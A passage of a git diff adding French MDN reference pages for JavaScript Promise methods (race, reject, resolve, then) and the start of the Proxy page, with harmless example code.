Dans le court exemple qui suit, on illustre le mécanisme d'une Promise. La méthode testPromise() est appelée chaque fois qu'on clique sur l'élément {{HTMLElement("button")}}. Cette méthode crée une promesse qui sera tenue grâce à la fonction {{domxref("window.setTimeout()")}}, et avec la valeur comptePromesse (nombre commançant à 1) après 1s à 3s (aléatoire). Le constructeur Promise() est utilisé pour créer la promesse.

+ +

Le fait que la promesse soit tenue est simplement enregistré via un callback sur p1.then(). Quelques indicateurs illustrent la manière dont la partie synchrone est découplée de la partie asynchrone.

+ +
'use strict';
+var comptePromesse = 0;
+
+function testPromise() {
+  var thisComptePromesse = ++comptePromesse;
+
+  var log = document.getElementById('log');
+  log.insertAdjacentHTML('beforeend', thisComptePromesse +
+      ') Started (<small>Début du code synchrone</small>)<br/>');
+
+  // on crée une nouvelle promesse :
+  var p1 = new Promise(
+    // La fonction de résolution est appelée avec la capacité de
+    // tenir ou de rompre la promesse
+    function(resolve, reject) {
+      log.insertAdjacentHTML('beforeend', thisComptePromesse +
+          ') Promise started (<small>Début du code asynchrone</small>)<br/>');
+
+      // Voici un exemple simple pour créer un code asynchrone
+      window.setTimeout(
+        function() {
+          // On tient la promesse !
+          resolve(thisComptePromesse);
+        }, Math.random() * 2000 + 1000);
+    });
+
+  // On définit ce qui se passe quand la promesse est tenue
+  // et ce qu'on appelle (uniquement) dans ce cas
+  // La méthode catch() définit le traitement à effectuer
+  // quand la promesse est rompue.
+  p1.then(
+    // On affiche un message avec la valeur
+    function(val) {
+      log.insertAdjacentHTML('beforeend', val +
+          ') Promise fulfilled (<small>Fin du code asynchrone</small>)<br/>');
+    }).catch(
+      // Promesse rejetée
+      function() {
+        console.log("promesse rompue");
+      });
+
+  log.insertAdjacentHTML('beforeend', thisComptePromesse +
+      ') Promise made (<small>Fin du code synchrone</small>)<br/>');
+}
+
+ + + +

L'exemple s'exécute lorsqu'on clique sur le bouton. Pour tester cet exemple, il est nécessaire d'utiliser un navigateur qui supporte les objets Promise. En cliquant plusieurs fois sur le bouton en peu de temps, on verra qu'il y a plusieurs promesses tenues les une après les autres.

+ +

{{EmbedLiveSample('Exemple_interactif', '500', '200')}}

+ +

Charger une image en XHR

+ +

Un autre exemple simple utilisant Promise et {{domxref("XMLHttpRequest")}} afin de charger une image est disponible sur le dépôt GitHub MDN js-examples. Vous pouvez également voir le résultat. Chaque étape est commentée afin de vous permettre de suivre l'état de la promesse et l'architecture utilisée avec XHR.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/promise/race/index.html b/files/fr/web/javascript/reference/global_objects/promise/race/index.html new file mode 100644 index 0000000000..afb407d7db --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/race/index.html @@ -0,0 +1,191 @@ +--- +title: Promise.race() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/race +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Promise + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race +--- +
{{JSRef}}
+ +

La méthode Promise.race() renvoie une promesse qui est résolue ou rejetée dès qu'une des promesses de l'itérable passé en argument est résolue ou rejetée. La valeur (dans le cas de la résolution) ou la raison (dans le cas d'un échec) utilisée est celle de la promesse de l'itérable qui est resolue/qui échoue.

+ +
{{EmbedInteractiveExample("pages/js/promise-race.html")}}
+ + + +

Syntaxe

+ +
Promise.race(itérable);
+ +

Paramètres

+ +
+
itérable
+
Un objet itérable, par exemple un {{jsxref("Array")}}. Voir la page itérable.
+
+ +

Valeur de retour

+ +

Une promesse ({{jsxref("Promise")}}) à résoudre qui est résolue de façon asynchrone dès que l'une des promesses de l'itérable est tenue ou rompue.

+ +

Description

+ +

La fonction race renvoie une Promise qui est résolue/rejetée de la même façon que la première promesse de l'itérable à être résolue/rejetée.

+ +

Si l'itérable passé en argument est vide, la promesse sera continuellement en attente.

+ +

Si l'itérable contient une ou plusieurs valeurs qui ne sont pas des promesses ou une promesse déjà résolue, Promise.race fournira une promesse résolue avec la première de ces valeurs trouvées dans l'itérable.

+ +

Exemples

+ +

Caractère asynchrone de Promise.race()

+ +

L'exemple qui suit illuste le caractère asynchrone de Promise.race:

+ +
// On passe un tableau de promesses déjà résolues
+// en argument afin de déclencher Promise.race
+// dès que possible
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.race(resolvedPromisesArray);
+// On affiche immédiatement la valeur p dans la console
+console.log(p);
+
+// Avec setTimeout on peut exécuter du code
+// une fois que la pile est vide
+setTimeout(function(){
+    console.log('La pile est désormais vide');
+    console.log(p);
+});
+
+// affichera, dans cet ordre :
+// Promise { <state>: "pending" }
+// La pile est désormais vide
+// Promise { <state>: "fulfilled", <value>: 33 }
+ +

Un itérable vide renverra une promesse qui restera en attente :

+ +
var foreverPendingPromise = Promise.race([]);
+console.log(foreverPendingPromise);
+setTimeout(function(){
+    console.log('La pile est désormais vide');
+    console.log(foreverPendingPromise);
+});
+
+// affichera, dans cet ordre :
+// Promise { <state>: "pending" }
+// La pile est désormais vide
+// Promise { <state>: "pending" }
+
+ +

Si l'itérable contient une ou plusieurs valeurs qui ne sont pas des promesses ou des promesses déjà résolues, Promise.race considèrera la première valeur ainsi trouvée dans l'itérable :

+ +
var foreverPendingPromise = Promise.race([]);
+var alreadyResolvedProm = Promise.resolve(666);
+
+var arr = [foreverPendingPromise, alreadyResolvedProm, "non-Promise value"];
+var arr2 = [foreverPendingPromise, "non-Promise value", Promise.resolve(666)];
+var p = Promise.race(arr);
+var p2 = Promise.race(arr2);
+
+console.log(p);
+console.log(p2);
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p);
+    console.log(p2);
+});
+
+// affichera dans l'ordre :
+// Promise { <state>: "pending" }
+// Promise { <state>: "pending" }
+// the stack is now empty
+// Promise { <state>: "fulfilled", <value>: 666 }
+// Promise { <state>: "fulfilled", <value>: "non-Promise value" }
+
+ +

Utilisation de Promise.race – exemples avec setTimeout

+ +
var p1 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 500, "un");
+});
+var p2 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 100, "deux");
+});
+
+Promise.race([p1, p2]).then(function(value) {
+  console.log(value); // "deux"
+  // Les deux promesses sont résolues mais p2 est plus rapide
+});
+
+var p3 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 100, "trois");
+});
+var p4 = new Promise(function(resolve, reject) {
+    setTimeout(reject, 500, "quatre");
+});
+
+Promise.race([p3, p4]).then(function(value) {
+  console.log(value); // "trois"
+  // p3 est plus rapide et entraîne la résolution de la promesse de compétition
+}, function(reason) {
+  // N'est pas appelée
+});
+
+var p5 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 500, "cinq");
+});
+var p6 = new Promise(function(resolve, reject) {
+    setTimeout(reject, 100, "six");
+});
+
+Promise.race([p5, p6]).then(function(value) {
+  // N'est pas appelée
+}, function(reason) {
+  console.log(reason); // "six"
+  // p6 est plus rapide et rejète la promesse de compétition
+});
+
+ +
+

Note : voir la documentation sur setTimeout.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.race', 'Promise.race')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.race', 'Promise.race')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.race")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Promise")}}
    • +
  • {{jsxref("Promise.all()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/promise/reject/index.html b/files/fr/web/javascript/reference/global_objects/promise/reject/index.html new file mode 100644 index 0000000000..d792a2eaa4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/reject/index.html @@ -0,0 +1,79 @@ +--- +title: Promise.reject() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/reject +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Promise + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject +--- +
{{JSRef}}
+ +

La méthode Promise.reject(raison) renvoie un objet Promise qui est rejeté (la promesse n'est pas tenue) à cause d'une raison donnée.

+ +
{{EmbedInteractiveExample("pages/js/promise-reject.html")}}
+ + + +

Syntaxe

+ +
Promise.reject(raison);
+ +

Paramètres

+ +
+
raison
+
La raison pour laquelle la Promise n'a pas été tenue.
+
+ +

Valeur de retour

+ +

Une promesse ({{jsxref("Promise")}}) qui est rompue avec la raison passée en argument.

+ +

Description

+ +

La fonction statique Promise.reject renvoie une Promise qui est rejetée. Pour faciliter le débogage (comprendre plus rapidement le problème et sélectionner une erreur précise), il peut être utile que l'argument raison soit une instance d'{{jsxref("Error")}}.

+ +

Exemples

+ +
Promise.reject(new Error("échec")).then(function() {
+  // n'est pas appelée
+}, function(erreur) {
+  console.log(erreur); // Analyse de la pile d'appels
+});
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.reject")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Promise")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/promise/resolve/index.html b/files/fr/web/javascript/reference/global_objects/promise/resolve/index.html new file mode 100644 index 0000000000..abda218c20 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/resolve/index.html @@ -0,0 +1,156 @@ +--- +title: Promise.resolve() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/resolve +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Promise + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve +--- +
{{JSRef}}
+ +

La méthode Promise.resolve(valeur) renvoie un objet {{jsxref("Promise")}} qui est résolu avec la valeur donnée. Si cette valeur est une promesse, la promesse est renvoyée, si la valeur possède une méthode {{jsxref("Promise.then","then")}}, la promesse renvoyée « suivra » cette méthode et prendra son état ; sinon, la promesse renvoyée sera tenue avec la valeur.

+ +
{{EmbedInteractiveExample("pages/js/promise-resolve.html")}}
+ + + +
+

Attention ! Promise.resolve() ne doit pas être appelée sur un objet thenable qui se résout en lui-même. Cela provoquera une récursion infinie et resolve() tentera d'aplatir ce qui ressemble à une promesse imbriquée à l'infini.

+
+ +

Syntaxe

+ +
Promise.resolve(valeur);
+Promise.resolve(promesse);
+Promise.resolve(suivant);
+
+ +

Paramètres

+ +
+
valeur
+
L'argument qu'on souhaite résoudre avec cette promesse (Promise). Cet argument peut être un objet Promise ou un objet avec une méthode then à résoudre à la suite.
+
+ +

Valeur de retour

+ +

Une promesse ({{jsxref("Promise")}}) qui est résolue avec la valeur indiquée en argument ou la promesse passée en argument si celui-ci est une promesse.

+ +

Description

+ +

La fonction statique Promise.resolve renvoie un objet Promise qui est résolu.

+ +

Exemples

+ +

Utilisation de la méthode statique Promise.resolve

+ +
Promise.resolve("Succès").then(function(valeur) {
+  console.log(valeur); // "Succès"
+}, function(valeur) {
+  // n'est pas appelée
+});
+
+ +

Résoudre un tableau

+ +
var p = Promise.resolve([1,2,3]);
+p.then(function(v) {
+  console.log(v[0]); // 1
+});
+
+ +

Résoudre une autre Promise

+ +
var original = Promise.resolve(33);
+var cast = Promise.resolve(original);
+cast.then(function(value) {
+  console.log("value: " + value);
+});
+console.log("original === cast ? " + (original === cast));
+
+// affiche ceci dans la console (dans cet ordre) :
+// original === cast ? true
+// value: 33
+
+ +

L'ordre des traces dans la console est dû au fait que les gestionnaires then() sont appelés de façon asynchrone (plus de détails sur then dans cet article).

+ +

Résoudre des objets avec then et renvoyer des erreurs

+ +
// Résoudre un objet avec then
+var p1 = Promise.resolve({
+  then: function(onFulfill, onReject) { onFulfill("tenue !"); }
+});
+console.log(p1 instanceof Promise) // true, l'objet est transformée en une Promise
+
+p1.then(function(v) {
+    console.log(v); // "tenue !"
+  }, function(e) {
+    // n'est pas appelée
+});
+
+// L'objet avec then renvoie une erreur avant le callback
+// La promesse n'est pas tenue
+var thenable = { then: function(resolve) {
+  throw new TypeError("Renvoi d'erreur");
+  resolve("Résolution ");
+}};
+
+var p2 = Promise.resolve(thenable);
+p2.then(function(v) {
+  // n'est pas appelée
+}, function(e) {
+  console.log(e); // TypeError : Renvoi d'erreur
+});
+
+// L'objet avec then renvoie une erreur après le callback
+// La promesse est tenue
+var thenable = { then: function(resolve) {
+  resolve("Résolue");
+  throw new TypeError("Erreur");
+}};
+
+var p3 = Promise.resolve(thenable);
+p3.then(function(v) {
+  console.log(v); // "Résolue"
+}, function(e) {
+  // n'est pas appelée
+});
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.resolve")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Promise")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/promise/then/index.html b/files/fr/web/javascript/reference/global_objects/promise/then/index.html new file mode 100644 index 0000000000..b077425e5a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/then/index.html @@ -0,0 +1,265 @@ +--- +title: Promise.prototype.then() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/then +tags: + - ECMAScript6 + - JavaScript + - Méthode + - Promise + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then +--- +
{{JSRef}}
+ +

La méthode then() renvoie un objet {{jsxref("Promise")}}. Elle peut prendre jusqu'à deux arguments qui sont deux fonctions callback à utiliser en cas de complétion ou d'échec de la Promise.

+ +
{{EmbedInteractiveExample("pages/js/promise-then.html")}}
+ + + +
+

Note : Si aucun des deux arguments n'est utilisé ou que les objets fournis ne sont pas des fonctions, une nouvelle promesse est créée sans autre gestionnaire supplémentaire. Si le premier argument est absent ou qu'un objet qui n'est pas une fonction est passé, la nouvelle promesse utilisera la fonction de réussite de la promesse originelle. De même, si le deuxième argument n'est pas passé ou que ce n'est pas une fonction, la nouvelle promesse créée utilisera la fonction de rejet de la promesse appelante.

+
+ +

Syntaxe

+ +
p.then(siTenue);
+p.then(siTenue, siRejetée);
+
+p.then((valeur) => {
+    // Promesse tenue
+  }, (raison) => {
+    // Rejet de la promesse
+});
+
+ +

Paramètres

+ +
    +
+ +
+
siTenue
+
Une {{jsxref("Function","fonction","",1)}} appelée lorsque la Promise est tenue. Cette fonction a un seul argument, la valeur qui a permis de résoudre la promesse. Si siTenue n'est pas une fonction, elle est implicitement remplacée par une fonction « identité » qui renvoie l'argument tel quel.
+
siRejetée {{optional_inline}}
+
Une {{jsxref("Function","fonction","",1)}} appelée lorsque la Promise est rejetée. Cette fonction a un seul argument, la raison pour laquelle la promesse a été rejetée. Si siRejetée n'est pas une fonction, elle est implicitement remplacée par une fonction qui lève une erreur avec la raison passée en argument.
+
+ +

Valeur de retour

+ +

La méthode then() renvoie une promesse ({{jsxref("Promise")}}) en attente de résolution et dont la valeur est déterminée selon les deux fonctions passées en arguments et qui seront appelées de façon asynchrone :

+ +
    +
  • Si siRejetée ou siTenue lève une exception ou renvoie une promesse rompue, la promesse renvoyée par then() est rompue et la valeur fournie est l'exception ou l'explication de la promesse rompue.
    • +
  • Si siRejetée ou siTenue renvoie une promesse tenue ou n'importe quelle autre valeur, la promesse renvoyée est tenue et la valeur de résolution est la même que celle de la promesse tenue.
    • +
  • Si siRejetée ou siTenue renvoie une promesse en attente de résolution, la promesse renvoyée par then() sera résolue de la même façon que la promesse renvoyée par le gestionnaire. En fait, dans ce cas, la promesse renvoyée par then() est la même que la promesse renvoyée par le gestionnaire (siTenue ou siRejetée).
    • +
+ +

Description

+ +

Comme les méthodes then() et {{jsxref("Promise.prototype.catch()")}} renvoient des promesses, on peut enchaîner ces opérations (c'est ce qu'on appelle la composition de promesses, voir l'exemple ci-après).

+ +

Exemples

+ +

Utilisation de la méthode then()

+ +
var p1 = new Promise(function(resolve, reject) {
+  resolve("Succès !");
+  // ou
+  // reject("Erreur !");
+});
+
+p1.then((valeur) => {
+  console.log(valeur); // Succès !
+  }, (raison) => {
+  console.log(raison); // Erreur !
+});
+
+ +

Composition - Chaînage

+ +

La méthode then() renvoie un objet Promise, ce qui permet d'enchaîner les opération. On peut passer une fonction lambda à then puis utiliser la promesse obtenue pour la passer à la méthode suivante. Dans l'exemple ci-après, on simule un code asynchrone avec la fonction setTimeout.

+ +
Promise.resolve("toto")
+  // 1. Première étape, on reçoit "toto" et on le concatène avec
+  //    "truc", ce qui résoud la première étape puis on passe au
+  //    deuxième then
+  .then(function(string) {
+    return new Promise(function(resolve, reject) {
+      setTimeout(function() {
+        string += 'truc';
+        resolve(string);
+      }, 1);
+    });
+  })
+  // 2. Deuxième étape, on reçoit "tototruc" et on enregistre une
+  //    fonction de rappel pour manipuler cette chaîne puis l'imprimer
+  //    dans la console. Avant cela, on passe la chaîne intacte au
+  //    prochain then
+  .then(function(string) {
+    setTimeout(function() {
+      string += 'baz';
+      console.log(string);
+    }, 1)
+    return string;
+  })
+  // 3. On affiche un message sur le code, celui-ci sera affiché
+  //    avant que la chaîne soit traitée dans le bloc précédent
+  //    qui agit comme un bloc asynchrone.
+  .then(function(string) {
+    console.log("Et voilà la dernière, qui risque d'arriver avant la 2e");
+
+    // Ici, la chaîne n'aura pas le morceau 'baz' car la fonction
+    // setTimeout retarde l'exécution du code.
+    console.log(string);
+});
+
+ +

Lorsqu'une valeur est simplement renvoyée depuis une fonction lambda then, celle-ci renverra Promise.resolve(<la valeur renvoyée par le gestionnaire appelé>).

+ +
var p2 = new Promise(function(resolve, reject) {
+  resolve(1);
+});
+
+p2.then(function(valeur) {
+  console.log(valeur); // 1
+  return valeur + 1;
+  }).then(function(valeur) {
+  console.log(valeur + "- cette utilisation synchrone est un peu inutile");
+  // 2- cette utilisation synchrone est un peu inutile
+});
+
+p2.then(function(valeur) {
+  console.log(valeur); // 1
+});
+
+ +

Appeler then() renverra une promesse rompue si la fonction lève une exception ou si elle renvoie une promesse rompue.

+ +
Promise.resolve()
+  .then( () => {
+    // Ici .then() lève une exception
+    throw 'Oh zut :( !';
+  })
+  .then( () => {
+    console.log( "Ceci n'est pas appelé." );
+  }, raison => {
+    console.error( 'la fonction siRompue est appelée : ' + raison );
+});
+ +

Dans tous les autres cas, un promesse de résolution est renvoyée. Dans l'exemple qui suit, le premier then() renvoie 42 même si la promesse précédente a été rompue :

+ +
Promise.reject()
+  .then( () => 99, () => 42 ) // la valeur 42 est renvoyée dans une promesse
+  .then( solution => console.log( 'Résolue avec ' + solution ) ); // Résolue avec 42
+ +

En pratique, il est souvent préférable d'attraper les promesses rompues plutôt que d'utiliser la syntaxe de then() avec deux fonctions :

+ +
Promise.resolve()
+  .then( () => {
+    // .then() renvoie une promesse rompue
+    throw 'Oh zut !';
+  })
+  .catch( raison => {
+    console.error( 'fonction siRompue appelée : ' + raison );
+  })
+  .then( () => {
+    console.log("Je suis toujours appelée, même si il y a un souci avant");
+  });
+ +

Le chaînage peut également être utilisé pour implémenter une fonction utilisant une API basée sur les promesses et encapsuler une autre fonction :

+ +
function fetch_current_data() {
+  // L'API fetch renvoie une promesse. Cette fonction
+  // expose une API similaire mais lorsque la promesse
+  // est tenue, on effectue plus de tâches
+  return fetch("current-data.json").then((response) => {
+    if (response.headers.get("content-type") != "application/json") {
+      throw new TypeError();
+    }
+    var j = response.json();
+    // on peut ici manipuler j si besoin
+    return j; // la valeur fournie à l'utilisateur de
+              // fetch_current_data().then()
+  });
+}
+
+ +

Si le gestionnaire siTenue renvoie une promesse, la valeur de retour de then() sera alors résolue/rompue par cette promesse.

+ +
function resoudrePlusTard(resolve, reject) {
+  setTimeout(function () {
+    resolve(10);
+  }, 1000);
+}
+function romprePlusTard(resolve, reject) {
+  setTimeout(function () {
+    reject(20);
+  }, 1000);
+}
+
+var p1 = Promise.resolve("toto");
+var p2 = p1.then(function() {
+  // On renvoie une nouvelle promesse
+  // qui sera résolue avec la valeur 10
+  // au bout d'une seconde
+  return new Promise(resoudrePlusTard);
+});
+p2.then(function(v) {
+  console.log("tenue", v);
+  // "tenue", 10
+}, function(e) {
+  // ceci n'est pas appelé
+  console.log("rompue", e);
+});
+
+var p3 = p1.then(function() {
+  // Ici, on renvoie une promesse
+  // qui sera rompue avec la valeur
+  // 20 au bout d'une seconde
+  return new Promise(romprePlusTard);
+});
+p3.then(function(v) {
+  // ceci n'est pas appelé
+  console.log("tenue", v);
+}, function(e) {
+  console.log("rompue", e);
+  // "rompue", 20
+});
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.prototype.then', 'Promise.prototype.then')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.prototype.then', 'Promise.prototype.then')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.then")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Promise")}}
    • +
  • {{jsxref("Promise.prototype.catch()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/index.html b/files/fr/web/javascript/reference/global_objects/proxy/index.html new file mode 100644 index 0000000000..095515482d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/index.html @@ -0,0 +1,407 @@ +--- +title: Proxy +slug: Web/JavaScript/Reference/Objets_globaux/Proxy +tags: + - ECMAScript 2015 + - JavaScript + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy +--- +
{{JSRef}}
+ +

L'objet Proxy est utilisé afin de définir un comportement sur mesure pour certaines opérations fondamentales (par exemple, l'accès aux propriétés, les affectations, les énumérations, les appels de fonctions, etc.).

+ +

Terminologie

+ +
+
gestionnaire (handler)
+
Un objet qui contient les trappes qui intercepteront les opérations.
+
trappes
+
Les méthodes qui fournissent l'accès aux propriétés. Ce concept est analogue aux trappes utilisées dans les systèmes d'exploitations.
+
cible
+
L'objet virtualisé par le proxy. Il est souvent utilisé comme objet de stockage. Les invariants (c'est-à-dire les éléments de sémantique qui restent inchangés) relatifs à la non-extensibilité et au caractère non-configurable des propriétés sont vérifiés par rapport à la cible.
+
+ +

Syntaxe

+ +
var p = new Proxy(cible, gestionnaire);
+
+ +

Paramètres

+ +
+
cible
+
Une cible (qui peut être n'importe quel objet, un tableau, une fonction, ou même un autre proxy) qu'on souhaite envelopper dans un Proxy.
+
gestionnaire
+
Un objet dont les propriétés sont des fonctions qui définissent le comportement du proxy lorsqu'on utilise une opération sur celui-ci.
+
+ +

Méthodes

+ +
+
{{jsxref("Proxy.revocable()")}}
+
Permet de créer un objet Proxy révocable.
+
+ +

Méthodes pour le gestionnaire

+ +

L'objet utilisé comme gestionnaire regroupe les différentes fonctions « trappes » pour le Proxy.

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy/handler', 'Méthodes') }}
+ +

Exemples

+ +

Exemple simple

+ +

Dans ce court exemple, on renvoie le nombre 37 comme valeur par défaut lorsque la propriété nommée n'est pas présente dans l'objet. Pour cela, on utilise le gestionnaire correspondant à {{jsxref("Objets_globaux/Proxy/handler/get","get")}}.

+ +
var handler = {
+    get: function(obj, prop){
+        return prop in obj?
+            obj[prop] :
+            37;
+    }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+
+ +

Proxy « invisible »

+ +

Dans cet exemple, le proxy transfère toutes les opérations qui sont appliquées à l'objet cible.

+ +
var cible = {};
+var p = new Proxy(cible, {});
+
+p.a = 37; // L'opération est transmise à la cible par le proxy
+
+console.log(cible.a); // 37. L'opération a bien été transmise
+
+ +

Validation

+ +

En utilisant un Proxy, il devient simple de valider les valeurs passées à un objet. Dans cet exemple, on utilise le gestionnaire correspondant à {{jsxref("Objets_globaux/Proxy/handler/set","set")}}.

+ +
let validateur = {
+  set: function(obj, prop, valeur) {
+    if (prop === 'âge') {
+      if (!Number.isInteger(valeur)) {
+        throw new TypeError('Cet âge n\'est pas un entier.');
+      }
+      if (valeur > 200) {
+        throw new RangeError('Cet âge semble invalide.');
+      }
+    }
+
+    // Le comportement par défaut : enregistrer la valeur
+    obj[prop] = valeur;
+
+    // On indique le succès de l'opération
+    return true;
+  }
+};
+
+let personne = new Proxy({}, validateur);
+
+personne.âge = 100;
+console.log(personne.âge); // 100
+personne.âge = 'jeune';    // lève une exception
+personne.âge = 300;        // lève une exception
+
+ +

Étendre un constructeur

+ +

En utilisant une fonction proxy, on peut étendre un constructeur avec un nouveau constructeur. Dans cet exemple, on utilise les gestionnaires correspondants à {{jsxref("Objets_globaux/Proxy/handler/construct","construct")}} et {{jsxref("Objets_globaux/Proxy/handler/apply","apply")}}.

+ +
function étendre(sup,base) {
+  var descripteur = Object.getOwnPropertyDescriptor(
+    base.prototype, "constructor"
+  );
+  base.prototype = Object.create(sup.prototype);
+  var gestionnaire = {
+    construct: function(cible, args) {
+      var obj = Object.create(base.prototype);
+      this.apply(cible,obj,args);
+      return obj;
+    },
+    apply: function(cible, that, args) {
+      sup.apply(that,args);
+      base.apply(that,args);
+    }
+  };
+  var proxy = new Proxy(base,gestionnaire);
+  descripteur.value = proxy;
+  Object.defineProperty(base.prototype, "constructor", descripteur);
+  return proxy;
+}
+
+var Personne = function(nom){
+  this.nom = nom;
+};
+
+var Garçon = étendre(Personne, function(nom, âge) {
+  this.âge = âge;
+});
+
+Garçon.prototype.genre = "M";
+
+var Pierre = new Garçon("Pierre", 13);
+console.log(Pierre.genre);  // "M"
+console.log(Pierre.nom);  // "Pierre"
+console.log(Pierre.âge);  // 13
+ +

Manipuler les nœuds DOM

+ +

Parfois, on veut passer un attribut ou un nom de classe entre deux éléments différents. Dans cet exemple, on utilise le gestionnaire lié à {{jsxref("Objets_globaux/Proxy/handler/set","set")}}.

+ +
let vue = new Proxy({
+  selected: null
+},
+{
+  set: function(obj, prop, nouvelleValeur) {
+    let ancienneValeur = obj[prop];
+
+    if (prop === 'selected') {
+      if (ancienneValeur) {
+        ancienneValeur.setAttribute('aria-selected', 'false');
+      }
+      if (nouvelleValeur) {
+        nouvelleValeur.setAttribute('aria-selected', 'true');
+      }
+    }
+
+    // Le comportement par défaut : enregistrer la valeur
+    obj[prop] = nouvelleValeur;
+
+    // On indique le succès de l'opération
+    return true;
+  }
+});
+
+let i1 = vue.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = vue.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'
+
+ +

Corriger une valeur et ajouter une propriété supplémentaire

+ +

Dans l'exemple qui suit, le proxy produits évalue la valeur passée et la convertit en tableau si besoin. L'objet supporte également la propriété supplémentaire dernierNavigateur à la fois comme accesseur et mutateur.

+ +
let produits = new Proxy({
+  navigateurs: ['Internet Explorer', 'Netscape']
+},
+{
+  get: function(obj, prop) {
+    // Une propriété supplémentaire
+    if (prop === 'dernierNavigateur') {
+      return obj.navigateurs[obj.navigateurs.length - 1];
+    }
+
+    // Le comportement par défaut : renvoyer la valeur
+    return obj[prop];
+  },
+  set: function(obj, prop, valeur) {
+    // Une propriété supplémentaire
+    if (prop === 'dernierNavigateur') {
+      obj.navigateurs.push(valeur);
+      return true;
+    }
+
+    // on convertit la valeur si ce n'est pas un tableau
+    if (typeof valeur === 'string') {
+      valeur = [valeur];
+    }
+
+    // Le comportement par défaut : enregistrer la valeur
+    obj[prop] = valeur;
+
+    // On indique le succès de l'opération
+    return true;
+  }
+});
+
+console.log(produits.navigateurs); // ['Internet Explorer', 'Netscape']
+produits.navigateurs = 'Firefox'; // on passe une chaîne
+console.log(produits.navigateurs); // ['Firefox'] <- pas de problème, elle est convertie en tableau
+
+produits.dernierNavigateur = 'Chrome';
+console.log(produits.navigateurs); // ['Firefox', 'Chrome']
+console.log(produits.dernierNavigateur); // 'Chrome'
+
+ +

Trouver un élément dans un tableau grâce à sa propriété

+ +

Dans cet exemple, ce proxy étend le tableau avec des fonctionnalités supplémentaires. Ici, on définit des propriétés sans utiliser {{jsxref("Objets_globaux/Object/defineProperties","Object.defineProperties")}}. Cet exemple pourrait être adapté pour trouver la ligne d'un tableau à partir d'une de ces cellules (la cible serait alors table.rows).

+ +
let produits = new Proxy([
+  { nom: 'Firefox', type: 'navigateur' },
+  { nom: 'SeaMonkey', type: 'navigateur' },
+  { nom: 'Thunderbird', type: 'client mail' }
+],
+{
+  get: function(obj, prop) {
+    // Le comportement par défaut : on renvoie la valeur
+    // prop est généralement un entier
+    if (prop in obj) {
+      return obj[prop];
+    }
+
+    // On obtient le nombre de produits
